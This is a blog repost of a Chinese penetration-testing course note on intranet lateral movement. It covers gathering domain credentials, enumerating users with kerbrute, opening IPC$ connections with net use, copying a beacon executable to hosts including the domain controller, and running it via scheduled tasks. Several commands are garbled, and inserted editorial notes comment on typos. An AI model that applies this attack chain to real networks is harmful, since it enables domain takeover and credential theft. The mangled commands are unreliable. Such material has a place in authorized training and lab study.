DAY178内网渗透之内网对抗:横向移动篇入口差异切换上线IPC管道ATSC任务Impacket套件UI插件

1.内网横向移动

1、横向移动篇-入口点分析-域内域外打点

2、横向移动篇-IPC利用-连接通讯&计划任务,

3、横向移动篇-IPC利用-命令模式&工具套件

1.1 横向移动入口知识点
收集到域内用户和凭据后,为后续利用各种协议密码喷射通讯上线提供条件,如果当前被控机在域内还是域外,收集方法会有所差异,具体看演示及讲解。
1.1.1、当前被控机处于域内还是域外
1.1.1.1 在域内
这里是演示在域内获取域内用户及凭据的方式,收集完各种凭据信息就可以为下面的IPC横向移动提供使用了

上线webadmin的域用户

域内普通用户抓取不到明文

权限提升

用system权限抓取明文

1.1.1.2不在域内,

不在域内想要收集更多的域内用户及凭据的方法,切换到域内用户 (提权或切换到域内用户),条件:获取到域内用户及凭据

权限提升到system权限可以和域内用户通讯

Ad权限的

Sys权限的

切换为god\webadmin上线

需要正确的账号密码

进程被占用了

1.1.1.2.3kerbrute枚举用户

域内用户枚

举,https://github.com/ropnop/kerbrute,kerbrute_windows_amd64.exe userenum --dc ip -d 域名 字典文件,可以看到在administrator权限下是不能执行收集用户的命令的,这里可以使用kerbrute来代替进行枚举,这是在域外没有提权成功,也没有切换用户,但是还想知道域用户信息就使用这种方法。

注:上述文字中,"1.1.1.2.3"可能是一个错误的编号或者格式,根据上下文,它可能是不小心被包含在内的,真正的信息从"kerbrute枚举用户"开始。同时,"也没有切换用户"前的逗号可能是一个输入错误,应为句号或者其他合适的标点符号。但在这里,为了保持原文的格式和内容,我没有进行更改。

kerbrute_windows_amd64.exe userenum --dc 192.168.3.21 -d god.org user.txt

1.1.2、当前凭据为明文密码还是HASH,Minikatz。

当系统为win10或者2012R2以上,内存中默认禁止缓存明文密码,可通过修改注册表的方式进行抓取,但需重启后重新登录时才能抓取。这是2012机器抓取密码的结果。

1.2横向移动凭据知识点

,上面收集完各种凭据信息就是为了横向移动的时候使用的,IPC域内移动测试:,IPC(InternetProcessConnection)是共享"命名管道"的资源,它是一个用于进程间通信的开放式命名管道,通过提供一个可信的用户,和密码,连接双方可以建立一个安全通道并通过这个通道交换加密数据,从而实现对远程计算机的访问。需要使用目标系统用户的账,码,使用139、445端口。,1.2.1IPC横向移动步骤:,1.建立IPC链接到目标主机,2.拷贝要执行的命令脚本到目标主机,3.查看目标时间,创建计划任务(at、schtasks)定时执行拷贝到的脚本,4,删除IPC链接,1.2.2建立IPC失败的原因,

(1)目标系统不是NT或以上的操作系统,

(2)对方没有打开IPC共享,

(3)对方未开启139、445端口,或者被防火墙屏蔽,

(4)输出命令、账号密码有错误,1.2.3使用IPC横向攻击3.32,这里是开启的IPC的地方

1.2.3.1 IPC利用命令

netuseserver\ipc"password"/user:计算机名\username # 工作组
net use \lserver\ipc,"password" /user:域名\username #域内 dir \\xx.xx.xx.xx\c\ #查看文件列表
copy \xx.xx.xx.xx\C\1.bat 1.bat #下载文件

copy 1.bat \\xx.xx.xx.xx\C # 复制文件(注意:此命令中目标路径似乎有误,应为目录而非文件,可能是想表达将1.bat复制到对方的C共享目录)netusexx.xx.xx.xx\C\ /del # 删除IPC连接(注意:原命令中的“1.bat”应为误写,已更正为“/del”)
net view xx.xx.xx.xx #查看对方共享

请注意,上述命令中的IP地址(xx.xx.xx.xx)、用户名(username)、密码(password)、计算机名和域名均为示例,实际使用时需要替换为真实的信息。同时,执行这些命令需要具备相应的权限,否则可能会失败。另外,复制文件命令中的目标路径已做更正说明。

1.2.3.2域内用户权限测试

webadmin权限,讲课错误补充:(讲解见后面单独录的视频),

如果是域内用户权限想要建立本地用户的IPC连接的话就需要加上本地的计算机名,

net use 1\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver(administrator,

如果是域内用户权限想要建立域用户的的IPC连接的话就需要加上域名,

net use 1\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin,

如果使用下面的这条命令的话就会理解为登录域里的administrator而不是登录本地的administrator用户,

net use \192.168.3.32\ipc$ "admin!@#45" /user:\administrator,

1.2.3.3域外用户权限测试

administrator权限,

如果是域外用户想要建立本地IPC连接的话,

net use \\192.168.3.32\ipc$ "admin!@#45" /user:administrator

//登录本机administrator用户,

net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administrator

//登录sqlserver机器的administrator用户,

net use \\192.168.3.32\ipc$ "admin!@#45" /user:god\dbadmin

//登录god域的administrator用户,

1.2.4目标3.32主机上线配置,

可以先使用之前得到shell,通过文件浏览的方式上传到目标主机3.32上一个木马

1.2.4.1正向shell上线

:beacon_bind_tcp->beacon.exe,connect 192.168.3.32 4444,新建一个监听器

shell net use \\192.168.3.32\ipc$ "admin!@#45" /user:sqlserver\administraotr

shell copy 4444.exe \\192.168.3.32\c$

上线DC域控

net use \\192.168.3.21\ipc$ "Admin12345" /user:God\administrator

shell copy 4444.exe \\192.168.3.21\c$

防火墙放行139

高级共享开启

net use \\192.168.3.21\ipc$ "Admin12345" /user:God\administrator

建立连接

at命令

1.2.4.1.1计划任务配合,[at]&[schtasks]计划任务配合,1、at<Windows2012,copy beacon.exe 1\192.168.3.21\c$,#拷贝执行文件到目标机器,

at \\192.168.3.21 15:9 c:\4444.exe,#添加计划任务

shell at \\192.168.3.21 15:9 c:\4444.exe

 connect 192.168.3.21 4444

DC抓取明文

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/498129.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Lua之·Lua与C/C++交互·Lua CAPI访问栈操作】

系列文章目录 文章目录 前言一、概述1.1 Lua堆栈 二、栈操作2.1 基本的栈操作2.2 入栈操作函数2.3 出栈操作函数2.4 既入栈又出栈的操作函数2.5 栈检查与类型转换函数2.5 获取表数据 三、实例演示总结 前言 Lua是一种轻量级的、高性能的脚本语言&#xff0c;经常被用于游戏开发…

Python爬虫教程——7个爬虫小案例(附源码)_爬虫实例

本文介绍了7个Python爬虫小案例&#xff0c;包括爬取豆瓣电影Top250、猫眼电影Top100、全国高校名单、中国天气网、当当网图书、糗事百科段子和新浪微博信息&#xff0c;帮助读者理解并实践Python爬虫基础知识。 包含编程资料、学习路线图、源代码、软件安装包等&#xff01;【…

VITUREMEIG | AR眼镜 算力增程

根据IDC发布的《2024年第三季度美国AR/VR市场报告》显示&#xff0c;美国市场AR/VR总出货量增长10.3%。其中&#xff0c;成立于2021年的VITURE增长速度令人惊艳&#xff0c;同比暴涨452.6%&#xff0c;成为历史上增长最快的AR/VR品牌。并在美国AR领域占据了超过50%的市场份额&a…

算法 class 004(选择,冒泡,插入)

选择排序&#xff1a; 刚进入 j 循环的样子 j 跳出循环后&#xff0c;b 指向最小值的坐标 然后交换 i 和 b 位置的 值 随后 i , b i , i j1; 开始新一轮的排序&#xff0c; void SelectAQort(int* arr,int size)//选择排序 {for (int i 0; i < size-1; i){ //i 的位置就是…

【Trick】获取kaggle账号的token和api(用于数据集下载)

0&#xff1a;操作背景 由于未来的科研需要用到Unet&#xff0c;但是运行学长的史山代码无法跑通&#xff0c;自己写了一个Unet并load学长的数据集效果也很差&#xff0c;于是打算从最最基础的开始&#xff0c;上github调用一个Unet并成功在公有数据集上跑一遍实例。 Unet的g…

深入理解MemCache

随着互联网应用的飞速发展&#xff0c;动态Web应用的性能问题逐渐成为开发者关注的焦点。其中&#xff0c;数据库作为系统性能的关键瓶颈&#xff0c;在用户请求量急剧增加的情况下&#xff0c;往往难以快速响应用户需求。为了解决这一问题&#xff0c;缓存技术应运而生。MemCa…

移动 APP 设计规范参考

一、界面设计规范 布局原则&#xff1a; 内容优先&#xff1a;以内容为核心进行布局&#xff0c;突出用户需要的信息&#xff0c;简化页面导航&#xff0c;提升屏幕空间利用率.一致性&#xff1a;保持界面元素风格一致&#xff0c;包括颜色、字体、图标等&#xff0c;使用户在…

redis数据结构设计

一. 数据结构简介 要搞清楚redis数据结构&#xff0c;首先需要知道和redis数据相关的三层结构&#xff1a; 五种数据类型 String&#xff08;字符串&#xff09;、List&#xff08;列表&#xff09;、Hash&#xff08;哈希&#xff09;、Set&#xff08;集合&#xff09;和 Sor…

使用npm包的工程如何引入mapboxgl-enhance/maplibre-gl-enhance扩展包

作者&#xff1a;刘大 前言 在使用iClient for MapboxGL/MapLibreGL项目开发中&#xff0c;往往会对接非EPSG:3857坐标系的地图&#xff0c;由于默认不支持&#xff0c;因此需引入mapboxgl-enhance/maplibre-gl-enhance扩展包。 在使用Vue等其他框架&#xff0c;通过npm包下载…

021-spring-springmvc

比较重要的部分 比较重要的部分 比较重要的部分 关于组件的部分 这里以 RequestMappingHandlerMapping 为例子 默认的3个组件是&#xff1a; org.springframework.web.servlet.handler.BeanNameUrlHandlerMapping org.springframework.web.servlet.mvc.method.annotation.Requ…

使用Locust对MySQL进行负载测试

1.安装环境 pip install locust mysql-connector-python 2.设置测试环境 打开MySQL服务 打开Navicat新建查询&#xff0c;输入SQL语句 3.编写locust脚本 load_mysql.py # codingutf-8 from locust import User, TaskSet, task, between import mysql.connector import ran…

Java [后端] 开发日常记录(1)

目录 1、常用的注解 2、对字符串的处理 3、对JSON串的处理 -- The End -- 详细如下&#xff1a; 1、常用的注解 若返回的字段中有NUll&#xff0c;则不返回 JsonInclude(value JsonInclude.Include.NON_NULL) //在实体类中添加这个注解 JsonInclude(JsonInclude.Include.NON…

你有哪些Deep Learning(RNN、CNN)调参的经验?

在深度学习的实践中&#xff0c;调参是一项既艺术又科学的工作。它不仅需要理论知识的支撑&#xff0c;还需要大量的实践经验。以下是一些在RNN和CNN模型调参中积累的经验&#xff0c;希望对正在这个领域摸索的朋友们有所帮助。 1. 从成熟的开源项目开始 对于初学者来说&…

公司招产品代理,合作合同协议书怎么写?

如果你的公司招产品代理时候&#xff0c;由于合同协议不标准&#xff0c;导致客户不信任&#xff0c;或者出现过法律纠纷。这份合同协议书&#xff0c;一定能帮你解决这些问题。 标准的模版&#xff0c;各位企业老板可以直接复制套用&#xff01; 甲方&#xff08;委托方 / 产…

wxWidgets 3.2.5发布 —— 发布于2024年5月13日

稳定版3.2系列的最新版本现已在GitHub上发布&#xff0c;你可以从那里下载包含库源代码和文档的存档文件&#xff0c;以及为选定的Windows编译器&#xff08;如Microsoft Visual C、MinGW-w64和TDM-GCC&#xff09;提供的二进制文件。你还可以在线阅读此版本的更新文档&#xf…

【Ubuntu】Ubuntu server 18.04 搭建Slurm并行计算环境(包含NFS)

Ubuntu server 18.04 搭建Slurm并行计算环境&#xff08;包含NFS&#xff09; 一、Munge 认证模块 1.1、安装 munge 主节点和子节点都安装munge #安装 sudo apt update && sudo apt install munge libmunge-dev#设置开机启动 sudo systemctl enable munge sudo syste…

用css实现瀑布流布局

上效果 知识理解 column-count: 4; column-gap: 15px;实现固定四行瀑布流布局 columns: 200px auto;column-gap: 15px;由浏览器根据容器的宽度自动调整&#xff0c;尽可能一行多个200px宽度的列数 <!DOCTYPE html> <html lang"en"><head><me…

FFmpeg 编码和解码

文章目录 音频格式AACADIF音频数据交换格式ADTS音频数据传输流 音频解码音频编码 视频格式H264GOP图像组I帧&#xff0c;P帧&#xff0c;B帧H264压缩技术H264压缩级别H264视频级别H264码流结构SPSPPS 解码视频编码视频 音频格式 AAC AAC全称 Advanced Audio Coding&#xff0…

计算机的错误计算(一百九十六)

摘要 用两个大模型计算 arccos(0.444). 结果保留 4位有效数字。两个大模型的计算结果相同&#xff0c;并均有误差。 例1. 计算 arccos(0.444). 结果保留 4位有效数字。 下面是与一个大模型的对话。 以上为与一大模型的对话。 下面是与另一大模型的对话。 点评&#xff1a; &…

【pytorch】循环神经网络

如果说卷积神经网络可以有效地处理空间信息&#xff0c;那么循环神经网络则可以更好地处理序列信息。循环神经网络通过引入状态变量存储过去的信息和当前的输入&#xff0c;从而可以确定当前的输出。 1 循环神经网络 隐藏层和隐状态指的是两个截然不同的概念。隐藏层是在从输…